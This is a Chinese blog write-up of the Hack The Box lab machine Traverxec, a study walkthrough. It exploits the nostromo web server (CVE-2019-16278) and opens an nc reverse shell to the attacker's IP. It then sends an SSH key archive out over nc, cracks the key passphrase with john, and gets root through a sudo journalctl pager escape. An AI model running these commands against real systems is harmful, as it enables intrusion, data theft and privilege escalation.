• 【Hack The Box】linux练习-- Traverxec


    HTB 学习笔记

    Hack The Box】linux练习-- Traverxec


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月21日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    nmap -p- --min-rate 10000 -A 10.10.10.165

    22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
    | ssh-hostkey: 
    |   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
    |   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
    |_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
    80/tcp open  http    nostromo 1.9.6
    |_http-server-header: nostromo 1.9.6
    |_http-title: TRAVERXEC
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    80

    在这里插入图片描述获得一个用户名
    David White.
    网站标头如下
    一般采取的是响应标头哈,不要看错了

    HTTP/1.1 200 OK
    Date: Fri, 22 Nov 2019 12:13:28 GMT
    Server: nostromo 1.9.6
    Connection: close
    Last-Modified: Fri, 25 Oct 2019 21:11:09 GMT
    Content-Length: 15674
    Content-Type: text/html
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    nostromo
    发现了server服务器
    在这里插入图片描述
    发现了潜在的漏洞,其中有rb的,也就是msf的,挺讨厌的其实,还得改写
    但是先利用一下第二个的py

    python2 cve2019_16278.py 10.129.17.195 80 id
    
    • 1

    可以执行命令,那就反弹shell
    在这里插入图片描述

    python2 cve2019_16278.py 10.129.17.195 80 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 443 >/tmp/f"
    
    • 1

    得到反弹shell
    在这里插入图片描述我们上传linpeas脚本,他可以枚举出我们的david用户以及他的散列密码

    在这里插入图片描述发现了david的密码
    我们才hashcat官网查询前三位
    得到对应的方式是500

    在这里插入图片描述
    但是没解密出来
    先放一边先,可能就不是让我解密的

    shell挖掘

    对于一个www用户来说,他几乎所有的目标都应该集中于/var以及一系列子目录中,我们在var中就发现了这个nos开头的文件夹,这个文件夹不是默认的,所以我们将优先查看他
    在这里插入图片描述

    我们挖掘的方向是webshell就挖/var以及下面的所有子目录 都是按以周边为最先顺序开始挖掘的

    发现了如下的一个配置文件

    www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
    cat nhttpd.conf
    # MAIN [MANDATORY]
    
    servername              traverxec.htb
    serverlisten            *
    serveradmin             david@traverxec.htb
    serverroot              /var/nostromo
    servermimes             conf/mimes
    docroot                 /var/nostromo/htdocs
    docindex                index.html
    
    # LOGS [OPTIONAL]
    
    logpid                  logs/nhttpd.pid
    
    # SETUID [RECOMMENDED]
    
    user                    www-data
    
    # BASIC AUTHENTICATION [OPTIONAL]
    
    htaccess                .htaccess
    htpasswd                /var/nostromo/conf/.htpasswd
    
    # ALIASES [OPTIONAL]
    
    /icons                  /var/nostromo/icons
    
    # HOMEDIRS [OPTIONAL]
    
    homedirs                /home
    homedirs_public         public_www
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    这个没看懂是什么意思

    http://www.nazgul.ch/dev/nostromo_man.html
    
    • 1

    去官网看一下使用手册
    差不多看懂了
    在这里插入图片描述homedirs /home
    homedirs_public public_www

    所以http://10.10.10.165/~david/是home页面
    并且他在/home/david/public_www目录中

    网站顺利打开了,说明我们的分析是正确的
    那么接下来就是同步在shell的网站目录中看看有什么东西

    在这里插入图片描述我们在shell中进入/home/david/public_www

    在这里插入图片描述发现了一个压缩包

    传输

    cat backup-ssh-identity-files.tgz | nc 10.10.14.29 443
    nc -lnvp 443 > backup-identity-files.tgz.b64 
    解压
    tar -zxvf backup-identity-files.tgz.b64
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述发现有很多密钥,但是打开发现是存在加密的

    解密密钥

    /usr/share/john/ssh2john.py id_rsa > id_rsa.john
    john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
    
    • 1
    • 2

    得到密码
    hunter
    在这里插入图片描述

    而后正常登陆输入密码就行在这里插入图片描述

    提权

    在这里插入图片描述
    之前发现的内核提权还是用不了
    那就老老实实的吧
    在这里插入图片描述
    出现 bin非常反常
    因为bin目录是比较隐私的目录
    bin目录下发现了一个脚本
    在这里插入图片描述

    有一个脚本,运行他能够显示一些日志

    Last 5 journal log lines:
    -- Logs begin at Fri 2019-11-22 00:00:54 EST, end at Fri 2019-11-22 14:46:14 EST. --
    Nov 22 11:45:02 traverxec sudo[1931]: pam_unix(sudo:auth): auth could not identify password for [www-data]
    Nov 22 11:45:02 traverxec sudo[1931]: www-data : command not allowed ; TTY=pts/1 ; PWD=/dev/shm ; USER=root ; COMMAND=list
    Nov 22 11:45:03 traverxec crontab[2016]: (www-data) LIST (www-data)
    Nov 22 13:06:56 traverxec nhttpd[2384]: /~david/../../../bin/sh sent a bad cgi header
    Nov 22 13:07:14 traverxec nhttpd[2386]: /~david/../../../bin/sh sent a bad cgi header
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    而如果我查看脚本

    #!/bin/bash
    
    cat /home/david/bin/server-stats.head
    echo "Load: `/usr/bin/uptime`"
    echo " "
    echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
    echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
    echo " "
    echo "Last 5 journal log lines:"
    /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    他会用sudo执行journalctl 和cat

    journalctl调用默认分页器

    用journalctl提权很简单,关键是要让journalctl可以执行命令
    在gifio中提到的方式是这样

    sudo journalctl 
    !/bin/sh 
    
    • 1
    • 2

    这里的诀窍是 journalctrl如果它适合当前页面尺寸,将输出到标准输出,并进入 less因为我正在运行 -n5(由脚本内容得出),所以我需要一摸一样执行脚本最后一行,然后我才是一个具有sudo的journalctrl,然后我会被发送到 less,然后提权

    /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
    !/bin/sh  
    
    • 1
    • 2

    在这里插入图片描述

  • 相关阅读:
    挠场的科学丨三、特斯拉所来不及知道的「挠场」
    如何启动Kotlin协程
    建造者模式
    C++基础——类与对象1
    Vue Mock.js介绍和使用与首页导航栏左侧菜单搭建
    我的创作纪念日
    Hexagon_V65_Programmers_Reference_Manual(14)
    论文解读(SAGPool)《Self-Attention Graph Pooling》
    SpringBoot中间件—ORM(Mybatis)框架实现
    DataWhale - 吃瓜教程学习笔记(二)
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127971830